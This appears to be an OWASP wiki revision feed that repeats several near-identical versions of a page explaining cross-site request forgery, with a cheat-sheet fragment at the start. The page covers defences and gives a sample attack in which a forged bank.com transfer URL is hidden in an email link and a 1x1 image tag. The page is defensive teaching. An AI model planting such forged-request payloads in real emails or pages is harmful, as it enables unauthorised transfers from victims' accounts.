&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
[http://www.isecpartners.com/files/XSRF_Paper_0.pdf Cross Site Reference Forgery: An introduction to a common web application weakness]&lt;br /&gt;
&lt;br /&gt;
[http://www.freedom-to-tinker.com/sites/default/files/csrf.pdf Cross-Site Request Forgeries: Exploitation and Prevention]&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
Paul Petefish - paulpetefish@solutionary.com&lt;br /&gt;
&lt;br /&gt;
Eric Sheridan - eric.sheridan@aspectsecurity.com&lt;br /&gt;
&lt;br /&gt;
Dave Wichers - dave.wichers@aspectsecurity.com &lt;br /&gt;
&lt;br /&gt;
[[Category:How_To]] [[Category:Cheatsheets]] [[Category:OWASP_Document]] [[Category:OWASP_Top_Ten_Project]]&lt;/div&gt;</summary>
		<author><name>Michael Brooks</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)&amp;diff=83566</id>
		<title>Cross-Site Request Forgery (CSRF)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)&amp;diff=83566"/>
				<updated>2010-05-16T01:03:53Z</updated>
		
		<summary type="html">&lt;p&gt;Michael Brooks: /* Related Controls */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Overview==&lt;br /&gt;
CSRF is an attack which forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated. With a little help of social engineering (like sending a link via email/chat), an attacker may force the users of a web application to execute actions of the attacker's choosing. A successful CSRF  exploit can compromise end user data and operation in case of normal user. If the targeted end user is the administrator account, this can compromise the entire web application.&lt;br /&gt;
&lt;br /&gt;
==Related Security Activities==&lt;br /&gt;
&lt;br /&gt;
===How to Review Code for CSRF Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing code for Cross-Site Request Forgery issues |Reviewing code for CSRF]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
===How to Test for CSRF Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Testing Project|OWASP Testing Guide]] article on how to [[Testing for CSRF  (OWASP-SM-005) |Test for CSRF]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
===How to Prevent CSRF Vulnerabilites===&lt;br /&gt;
&lt;br /&gt;
See the [http://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet OWASP CSRF Prevention Cheat Sheet] for prevention measures.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
Cross-Site Request Forgery (CSRF) is an attack that tricks the victim into loading a page that contains a malicious request. It is malicious in the sense that it inherits the identity and privileges of the victim to perform an undesired function on the victim's behalf, like change the victim's e-mail address, home address, or password, or purchase something. CSRF attacks generally target functions that cause a state change on the server but can also be used to access sensitive data.&lt;br /&gt;
&lt;br /&gt;
For most sites, browsers will automatically include with such requests any credentials associated with the site, such as the user's session cookie, basic auth credentials, IP address, Windows domain credentials, etc.  Therefore, if the user is currently authenticated to the site, the site will have no way to distinguish this from a legitimate user request.&lt;br /&gt;
&lt;br /&gt;
In this way, the attacker can make the victim perform actions that they didn't intend to, such as logout, purchase item, change account information, retrieve account information, or any other function provided by the vulnerable website.&lt;br /&gt;
&lt;br /&gt;
Sometimes, it is possible to store the CSRF attack on the vulnerable site itself. Such vulnerabilities are called Stored CSRF flaws. This can be accomplished by simply storing an IMG or IFRAME tag in a field that accepts HTML, or by a more complex cross-site scripting attack. If the attack can store a CSRF attack in the site, the severity of the attack is amplified. In particular, the likelihood is increased because the victim is more likely to view the page containing the attack than some random page on the Internet.  The likelihood is also increased because the victim is sure to be authenticated to the site already.&lt;br /&gt;
&lt;br /&gt;
Synonyms: CSRF attacks are also known by a number of other names, including XSRF, &amp;quot;Sea Surf&amp;quot;, Session Riding, Cross-Site Reference Forgery, Hostile Linking. Microsoft refers to this type of attack as a One-Click attack in their threat modeling process and many places in their online documentation.&lt;br /&gt;
&lt;br /&gt;
===Prevention measures that do '''NOT''' work===&lt;br /&gt;
;Using a secret cookie&lt;br /&gt;
:Remember that all cookies, even the ''secret'' ones, will be submitted with every request. All authentication tokens will be submitted regardless of whether or not the end-user was tricked into submitting the request. Furthermore, session identifiers are simply used by the application container to associate the request with a specific session object. The session identifier does not verify that the end-user intended to submit the request.&lt;br /&gt;
&lt;br /&gt;
;Only accepting POST requests&lt;br /&gt;
:Applications can be developed to only accept POST requests for the execution of business logic. The misconception is that since the attacker cannot construct a malicious link, a CSRF attack cannot be executed. Unfortunately, this logic is incorrect. There are numerous methods in which an attacker can trick a victim into submitting a forged POST request, such as a simple form hosted in attacker's website with hidden values. This form can be triggered automatically by JavaScript or can be triggered by the victim who thinks form will do something else.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--==Risk Factors==&lt;br /&gt;
TBD&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
===How does the attack work?===&lt;br /&gt;
There are numerous ways in which an end-user can be tricked into loading information from or submitting information to a web application. In order to execute an attack, we must first understand how to generate a malicious request for our victim to execute. Let us consider the following example: Alice wishes to transfer $100 to Bob using bank.com. The request generated by Alice will look similar to the following:&lt;br /&gt;
&lt;br /&gt;
 POST &amp;lt;nowiki&amp;gt;http://bank.com/transfer.do&amp;lt;/nowiki&amp;gt; HTTP/1.1&lt;br /&gt;
 ...&lt;br /&gt;
 ...&lt;br /&gt;
 ...&lt;br /&gt;
 Content-Length: 19;&lt;br /&gt;
 &lt;br /&gt;
 acct=BOB&amp;amp;amount=100&lt;br /&gt;
&lt;br /&gt;
However, Maria notices that the same web application will execute the same transfer using URL parameters as follows:&lt;br /&gt;
&lt;br /&gt;
 GET &amp;lt;nowiki&amp;gt;http://bank.com/transfer.do?acct=BOB&amp;amp;amount=100&amp;lt;/nowiki&amp;gt; HTTP/1.1&lt;br /&gt;
&lt;br /&gt;
Maria now decides to exploit this web application vulnerability using Alice as her victim. Maria first constructs the following URL which will transfer $100,000 from Alice's account to her account:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://bank.com/transfer.do?acct=MARIA&amp;amp;amount=100000&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now that her malicious request is generated, Maria must trick Alice into submitting the request. The most basic method is to send Alice an HTML email containing the following: &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;a href=&amp;quot;http://bank.com/transfer.do?acct=MARIA&amp;amp;amount=100000&amp;quot;&amp;gt;View my Pictures!&amp;lt;/a&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Assuming Alice is authenticated with the application when she clicks the link, the transfer of $100,000 to Maria's account will occur. However, Maria realizes that if Alice clicks the link, then Alice will notice that a transfer has occurred. Therefore, Maria decides to hide the attack in a zero-byte image:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;img src=&amp;quot;http://bank.com/transfer.do?acct=MARIA&amp;amp;amount=100000&amp;quot; width=&amp;quot;1&amp;quot; height=&amp;quot;1&amp;quot; border=&amp;quot;0&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If this image tag were included in the email, Alice would only see a little box indicating that the browser could not render the image. However, the browser ''will still'' submit the request to bank.com without any visual indication that the transfer has taken place.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--==Related [[Threat Agents]]==&lt;br /&gt;
* TBD&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
* [[Cross-site Scripting (XSS)]]&lt;br /&gt;
* [[Cross Site History Manipulation (XSHM)]]&lt;br /&gt;
&amp;lt;!--==Related [[Vulnerabilities]]==&lt;br /&gt;
* TBD&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
* Add a per-request nonce to URL and all forms in addition to the standard session. This is also referred to as &amp;quot;form keys&amp;quot;. Many frameworks (ex, Drupal.org 4.7.4+) either have or are starting to include this type of protection &amp;quot;built-in&amp;quot; to every form so the programmer does not need to code this protection manually. &lt;br /&gt;
* TBD: Add a per-session nonce to URL and all forms&lt;br /&gt;
* TBD: Add a hash(session id, function name, server-side secret) to URL and all forms&lt;br /&gt;
* TBD: .NET - add session identifier to ViewState with MAC&lt;br /&gt;
* Checking the referrer in the client's HTTP request will prevent CSRF attacks.  By ensuring the HTTP request have come from the original site means that the attacks from other sites will not function.  It is very common to see referrer checks used on embedded network hardware due to memory limitations.  XSS can be used to bypass both referrer and token based checks simultaneously.  For instance the Sammy Worm used an XHR to obtain the CSRF token to forge requests.&lt;br /&gt;
* &amp;quot;Although cross-site request forgery is fundamentally a problem with the web application, not the user, users can help protect their accounts at poorly designed sites by logging off the site before visiting another, or clearing their browser's cookies at the end of each browser session.&amp;quot; -http://en.wikipedia.org/wiki/Cross-site_request_forgery#_note-1&lt;br /&gt;
* [[Tokenizing]]&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
* [http://www.cgisecurity.com/articles/csrf-faq.shtml The Cross-Site Request Forgery (CSRF/XSRF) FAQ]&lt;br /&gt;
: ''quote: &amp;quot;This paper serves as a living document for Cross-Site Request Forgery issues. This document will serve as a repository of information from existing papers, talks, and mailing list postings and will be updated as new information is discovered.&amp;quot;''&lt;br /&gt;
&lt;br /&gt;
* [[Testing for CSRF (OWASP-SM-005)|Testing for CSRF]]&lt;br /&gt;
: CSRF (aka Session riding) paper from the OWASP Testing Guide project (need to integrate)&lt;br /&gt;
&lt;br /&gt;
* [http://www.darkreading.com/document.asp?doc_id=107651&amp;amp;WT.svl=news1_2 CSRF Vulnerability: A 'Sleeping Giant']&lt;br /&gt;
: Overview Paper&lt;br /&gt;
&lt;br /&gt;
* [http://www.owasp.org/index.php/Image:RequestRodeo-MartinJohns.pdf Client Side Protection against Session Riding]&lt;br /&gt;
: Martin Johns and Justus Winter's interesting paper and presentation for the 4th OWASP AppSec Conference which described potential techniques that browsers could adopt to automatically provide CSRF protection - [http://www.owasp.org/index.php/Image:RequestRodeo-MartinJohns.pdf PDF paper]&lt;br /&gt;
&lt;br /&gt;
* [[:Category:OWASP_CSRFGuard_Project|OWASP CSRF Guard]]&lt;br /&gt;
: J2EE, .NET, and PHP Filters which append a unique request token to each form and link in the HTML response in order to provide universal coverage against CSRF throughout your entire application.&lt;br /&gt;
&lt;br /&gt;
* [[:Category:OWASP CSRFTester Project|OWASP CSRF Tester]]&lt;br /&gt;
: The OWASP CSRFTester gives developers the ability to test their applications for CSRF flaws.&lt;br /&gt;
&lt;br /&gt;
[[Category:Exploitation of Authentication]]&lt;br /&gt;
[[Category:Embedded Malicious Code]]&lt;br /&gt;
[[Category:Spoofing]]&lt;br /&gt;
[[Category: Attack]]&lt;/div&gt;</summary>
		<author><name>Michael Brooks</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)&amp;diff=83565</id>
		<title>Cross-Site Request Forgery (CSRF)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)&amp;diff=83565"/>
				<updated>2010-05-16T01:02:20Z</updated>
		
		<summary type="html">&lt;p&gt;Michael Brooks: /* Related Controls */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Overview==&lt;br /&gt;
CSRF is an attack which forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated. With a little help of social engineering (like sending a link via email/chat), an attacker may force the users of a web application to execute actions of the attacker's choosing. A successful CSRF  exploit can compromise end user data and operation in case of normal user. If the targeted end user is the administrator account, this can compromise the entire web application.&lt;br /&gt;
&lt;br /&gt;
==Related Security Activities==&lt;br /&gt;
&lt;br /&gt;
===How to Review Code for CSRF Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing code for Cross-Site Request Forgery issues |Reviewing code for CSRF]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
===How to Test for CSRF Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Testing Project|OWASP Testing Guide]] article on how to [[Testing for CSRF  (OWASP-SM-005) |Test for CSRF]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
===How to Prevent CSRF Vulnerabilites===&lt;br /&gt;
&lt;br /&gt;
See the [http://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet OWASP CSRF Prevention Cheat Sheet] for prevention measures.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
Cross-Site Request Forgery (CSRF) is an attack that tricks the victim into loading a page that contains a malicious request. It is malicious in the sense that it inherits the identity and privileges of the victim to perform an undesired function on the victim's behalf, like change the victim's e-mail address, home address, or password, or purchase something. CSRF attacks generally target functions that cause a state change on the server but can also be used to access sensitive data.&lt;br /&gt;
&lt;br /&gt;
For most sites, browsers will automatically include with such requests any credentials associated with the site, such as the user's session cookie, basic auth credentials, IP address, Windows domain credentials, etc.  Therefore, if the user is currently authenticated to the site, the site will have no way to distinguish this from a legitimate user request.&lt;br /&gt;
&lt;br /&gt;
In this way, the attacker can make the victim perform actions that they didn't intend to, such as logout, purchase item, change account information, retrieve account information, or any other function provided by the vulnerable website.&lt;br /&gt;
&lt;br /&gt;
Sometimes, it is possible to store the CSRF attack on the vulnerable site itself. Such vulnerabilities are called Stored CSRF flaws. This can be accomplished by simply storing an IMG or IFRAME tag in a field that accepts HTML, or by a more complex cross-site scripting attack. If the attack can store a CSRF attack in the site, the severity of the attack is amplified. In particular, the likelihood is increased because the victim is more likely to view the page containing the attack than some random page on the Internet.  The likelihood is also increased because the victim is sure to be authenticated to the site already.&lt;br /&gt;
&lt;br /&gt;
Synonyms: CSRF attacks are also known by a number of other names, including XSRF, &amp;quot;Sea Surf&amp;quot;, Session Riding, Cross-Site Reference Forgery, Hostile Linking. Microsoft refers to this type of attack as a One-Click attack in their threat modeling process and many places in their online documentation.&lt;br /&gt;
&lt;br /&gt;
===Prevention measures that do '''NOT''' work===&lt;br /&gt;
;Using a secret cookie&lt;br /&gt;
:Remember that all cookies, even the ''secret'' ones, will be submitted with every request. All authentication tokens will be submitted regardless of whether or not the end-user was tricked into submitting the request. Furthermore, session identifiers are simply used by the application container to associate the request with a specific session object. The session identifier does not verify that the end-user intended to submit the request.&lt;br /&gt;
&lt;br /&gt;
;Only accepting POST requests&lt;br /&gt;
:Applications can be developed to only accept POST requests for the execution of business logic. The misconception is that since the attacker cannot construct a malicious link, a CSRF attack cannot be executed. Unfortunately, this logic is incorrect. There are numerous methods in which an attacker can trick a victim into submitting a forged POST request, such as a simple form hosted in attacker's website with hidden values. This form can be triggered automatically by JavaScript or can be triggered by the victim who thinks form will do something else.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--==Risk Factors==&lt;br /&gt;
TBD&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
===How does the attack work?===&lt;br /&gt;
There are numerous ways in which an end-user can be tricked into loading information from or submitting information to a web application. In order to execute an attack, we must first understand how to generate a malicious request for our victim to execute. Let us consider the following example: Alice wishes to transfer $100 to Bob using bank.com. The request generated by Alice will look similar to the following:&lt;br /&gt;
&lt;br /&gt;
 POST &amp;lt;nowiki&amp;gt;http://bank.com/transfer.do&amp;lt;/nowiki&amp;gt; HTTP/1.1&lt;br /&gt;
 ...&lt;br /&gt;
 ...&lt;br /&gt;
 ...&lt;br /&gt;
 Content-Length: 19;&lt;br /&gt;
 &lt;br /&gt;
 acct=BOB&amp;amp;amount=100&lt;br /&gt;
&lt;br /&gt;
However, Maria notices that the same web application will execute the same transfer using URL parameters as follows:&lt;br /&gt;
&lt;br /&gt;
 GET &amp;lt;nowiki&amp;gt;http://bank.com/transfer.do?acct=BOB&amp;amp;amount=100&amp;lt;/nowiki&amp;gt; HTTP/1.1&lt;br /&gt;
&lt;br /&gt;
Maria now decides to exploit this web application vulnerability using Alice as her victim. Maria first constructs the following URL which will transfer $100,000 from Alice's account to her account:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://bank.com/transfer.do?acct=MARIA&amp;amp;amount=100000&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now that her malicious request is generated, Maria must trick Alice into submitting the request. The most basic method is to send Alice an HTML email containing the following: &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;a href=&amp;quot;http://bank.com/transfer.do?acct=MARIA&amp;amp;amount=100000&amp;quot;&amp;gt;View my Pictures!&amp;lt;/a&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Assuming Alice is authenticated with the application when she clicks the link, the transfer of $100,000 to Maria's account will occur. However, Maria realizes that if Alice clicks the link, then Alice will notice that a transfer has occurred. Therefore, Maria decides to hide the attack in a zero-byte image:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;img src=&amp;quot;http://bank.com/transfer.do?acct=MARIA&amp;amp;amount=100000&amp;quot; width=&amp;quot;1&amp;quot; height=&amp;quot;1&amp;quot; border=&amp;quot;0&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If this image tag were included in the email, Alice would only see a little box indicating that the browser could not render the image. However, the browser ''will still'' submit the request to bank.com without any visual indication that the transfer has taken place.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--==Related [[Threat Agents]]==&lt;br /&gt;
* TBD&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
* [[Cross-site Scripting (XSS)]]&lt;br /&gt;
* [[Cross Site History Manipulation (XSHM)]]&lt;br /&gt;
&amp;lt;!--==Related [[Vulnerabilities]]==&lt;br /&gt;
* TBD&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
* Add a per-request nonce to URL and all forms in addition to the standard session. This is also referred to as &amp;quot;form keys&amp;quot;. Many frameworks (ex, Drupal.org 4.7.4+) either have or are starting to include this type of protection &amp;quot;built-in&amp;quot; to every form so the programmer does not need to code this protection manually. &lt;br /&gt;
* TBD: Add a per-session nonce to URL and all forms&lt;br /&gt;
* TBD: Add a hash(session id, function name, server-side secret) to URL and all forms&lt;br /&gt;
* TBD: .NET - add session identifier to ViewState with MAC&lt;br /&gt;
* Checking HTTP referrer details will prevent CSRF attacks.  By ensuring the HTTP request have come from the original site means that the attacks from other sites will not function.  It is very common to see referrer checks used on embedded network hardware due to memory limitations.  XSS can be used to bypass both referrer and token based checks simultaneously.  For instance the Sammy Worm used an XHR to obtain the CSRF token to forge requests.&lt;br /&gt;
* &amp;quot;Although cross-site request forgery is fundamentally a problem with the web application, not the user, users can help protect their accounts at poorly designed sites by logging off the site before visiting another, or clearing their browser's cookies at the end of each browser session.&amp;quot; -http://en.wikipedia.org/wiki/Cross-site_request_forgery#_note-1&lt;br /&gt;
* [[Tokenizing]]&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
* [http://www.cgisecurity.com/articles/csrf-faq.shtml The Cross-Site Request Forgery (CSRF/XSRF) FAQ]&lt;br /&gt;
: ''quote: &amp;quot;This paper serves as a living document for Cross-Site Request Forgery issues. This document will serve as a repository of information from existing papers, talks, and mailing list postings and will be updated as new information is discovered.&amp;quot;''&lt;br /&gt;
&lt;br /&gt;
* [[Testing for CSRF (OWASP-SM-005)|Testing for CSRF]]&lt;br /&gt;
: CSRF (aka Session riding) paper from the OWASP Testing Guide project (need to integrate)&lt;br /&gt;
&lt;br /&gt;
* [http://www.darkreading.com/document.asp?doc_id=107651&amp;amp;WT.svl=news1_2 CSRF Vulnerability: A 'Sleeping Giant']&lt;br /&gt;
: Overview Paper&lt;br /&gt;
&lt;br /&gt;
* [http://www.owasp.org/index.php/Image:RequestRodeo-MartinJohns.pdf Client Side Protection against Session Riding]&lt;br /&gt;
: Martin Johns and Justus Winter's interesting paper and presentation for the 4th OWASP AppSec Conference which described potential techniques that browsers could adopt to automatically provide CSRF protection - [http://www.owasp.org/index.php/Image:RequestRodeo-MartinJohns.pdf PDF paper]&lt;br /&gt;
&lt;br /&gt;
* [[:Category:OWASP_CSRFGuard_Project|OWASP CSRF Guard]]&lt;br /&gt;
: J2EE, .NET, and PHP Filters which append a unique request token to each form and link in the HTML response in order to provide universal coverage against CSRF throughout your entire application.&lt;br /&gt;
&lt;br /&gt;
* [[:Category:OWASP CSRFTester Project|OWASP CSRF Tester]]&lt;br /&gt;
: The OWASP CSRFTester gives developers the ability to test their applications for CSRF flaws.&lt;br /&gt;
&lt;br /&gt;
[[Category:Exploitation of Authentication]]&lt;br /&gt;
[[Category:Embedded Malicious Code]]&lt;br /&gt;
[[Category:Spoofing]]&lt;br /&gt;
[[Category: Attack]]&lt;/div&gt;</summary>
		<author><name>Michael Brooks</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)&amp;diff=83564</id>
		<title>Cross-Site Request Forgery (CSRF)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)&amp;diff=83564"/>
				<updated>2010-05-16T00:58:43Z</updated>
		
		<summary type="html">&lt;p&gt;Michael Brooks: /* Related Controls */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Overview==&lt;br /&gt;
CSRF is an attack which forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated. With a little help of social engineering (like sending a link via email/chat), an attacker may force the users of a web application to execute actions of the attacker's choosing. A successful CSRF  exploit can compromise end user data and operation in case of normal user. If the targeted end user is the administrator account, this can compromise the entire web application.&lt;br /&gt;
&lt;br /&gt;
==Related Security Activities==&lt;br /&gt;
&lt;br /&gt;
===How to Review Code for CSRF Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing code for Cross-Site Request Forgery issues |Reviewing code for CSRF]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
===How to Test for CSRF Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Testing Project|OWASP Testing Guide]] article on how to [[Testing for CSRF  (OWASP-SM-005) |Test for CSRF]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
===How to Prevent CSRF Vulnerabilites===&lt;br /&gt;
&lt;br /&gt;
See the [http://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet OWASP CSRF Prevention Cheat Sheet] for prevention measures.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
Cross-Site Request Forgery (CSRF) is an attack that tricks the victim into loading a page that contains a malicious request. It is malicious in the sense that it inherits the identity and privileges of the victim to perform an undesired function on the victim's behalf, like change the victim's e-mail address, home address, or password, or purchase something. CSRF attacks generally target functions that cause a state change on the server but can also be used to access sensitive data.&lt;br /&gt;
&lt;br /&gt;
For most sites, browsers will automatically include with such requests any credentials associated with the site, such as the user's session cookie, basic auth credentials, IP address, Windows domain credentials, etc.  Therefore, if the user is currently authenticated to the site, the site will have no way to distinguish this from a legitimate user request.&lt;br /&gt;
&lt;br /&gt;
In this way, the attacker can make the victim perform actions that they didn't intend to, such as logout, purchase item, change account information, retrieve account information, or any other function provided by the vulnerable website.&lt;br /&gt;
&lt;br /&gt;
Sometimes, it is possible to store the CSRF attack on the vulnerable site itself. Such vulnerabilities are called Stored CSRF flaws. This can be accomplished by simply storing an IMG or IFRAME tag in a field that accepts HTML, or by a more complex cross-site scripting attack. If the attack can store a CSRF attack in the site, the severity of the attack is amplified. In particular, the likelihood is increased because the victim is more likely to view the page containing the attack than some random page on the Internet.  The likelihood is also increased because the victim is sure to be authenticated to the site already.&lt;br /&gt;
&lt;br /&gt;
Synonyms: CSRF attacks are also known by a number of other names, including XSRF, &amp;quot;Sea Surf&amp;quot;, Session Riding, Cross-Site Reference Forgery, Hostile Linking. Microsoft refers to this type of attack as a One-Click attack in their threat modeling process and many places in their online documentation.&lt;br /&gt;
&lt;br /&gt;
===Prevention measures that do '''NOT''' work===&lt;br /&gt;
;Using a secret cookie&lt;br /&gt;
:Remember that all cookies, even the ''secret'' ones, will be submitted with every request. All authentication tokens will be submitted regardless of whether or not the end-user was tricked into submitting the request. Furthermore, session identifiers are simply used by the application container to associate the request with a specific session object. The session identifier does not verify that the end-user intended to submit the request.&lt;br /&gt;
&lt;br /&gt;
;Only accepting POST requests&lt;br /&gt;
:Applications can be developed to only accept POST requests for the execution of business logic. The misconception is that since the attacker cannot construct a malicious link, a CSRF attack cannot be executed. Unfortunately, this logic is incorrect. There are numerous methods in which an attacker can trick a victim into submitting a forged POST request, such as a simple form hosted in attacker's website with hidden values. This form can be triggered automatically by JavaScript or can be triggered by the victim who thinks form will do something else.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--==Risk Factors==&lt;br /&gt;
TBD&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
===How does the attack work?===&lt;br /&gt;
There are numerous ways in which an end-user can be tricked into loading information from or submitting information to a web application. In order to execute an attack, we must first understand how to generate a malicious request for our victim to execute. Let us consider the following example: Alice wishes to transfer $100 to Bob using bank.com. The request generated by Alice will look similar to the following:&lt;br /&gt;
&lt;br /&gt;
 POST &amp;lt;nowiki&amp;gt;http://bank.com/transfer.do&amp;lt;/nowiki&amp;gt; HTTP/1.1&lt;br /&gt;
 ...&lt;br /&gt;
 ...&lt;br /&gt;
 ...&lt;br /&gt;
 Content-Length: 19;&lt;br /&gt;
 &lt;br /&gt;
 acct=BOB&amp;amp;amount=100&lt;br /&gt;
&lt;br /&gt;
However, Maria notices that the same web application will execute the same transfer using URL parameters as follows:&lt;br /&gt;
&lt;br /&gt;
 GET &amp;lt;nowiki&amp;gt;http://bank.com/transfer.do?acct=BOB&amp;amp;amount=100&amp;lt;/nowiki&amp;gt; HTTP/1.1&lt;br /&gt;
&lt;br /&gt;
Maria now decides to exploit this web application vulnerability using Alice as her victim. Maria first constructs the following URL which will transfer $100,000 from Alice's account to her account:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://bank.com/transfer.do?acct=MARIA&amp;amp;amount=100000&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now that her malicious request is generated, Maria must trick Alice into submitting the request. The most basic method is to send Alice an HTML email containing the following: &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;a href=&amp;quot;http://bank.com/transfer.do?acct=MARIA&amp;amp;amount=100000&amp;quot;&amp;gt;View my Pictures!&amp;lt;/a&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Assuming Alice is authenticated with the application when she clicks the link, the transfer of $100,000 to Maria's account will occur. However, Maria realizes that if Alice clicks the link, then Alice will notice that a transfer has occurred. Therefore, Maria decides to hide the attack in a zero-byte image:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;img src=&amp;quot;http://bank.com/transfer.do?acct=MARIA&amp;amp;amount=100000&amp;quot; width=&amp;quot;1&amp;quot; height=&amp;quot;1&amp;quot; border=&amp;quot;0&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If this image tag were included in the email, Alice would only see a little box indicating that the browser could not render the image. However, the browser ''will still'' submit the request to bank.com without any visual indication that the transfer has taken place.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--==Related [[Threat Agents]]==&lt;br /&gt;
* TBD&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
* [[Cross-site Scripting (XSS)]]&lt;br /&gt;
* [[Cross Site History Manipulation (XSHM)]]&lt;br /&gt;
&amp;lt;!--==Related [[Vulnerabilities]]==&lt;br /&gt;
* TBD&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
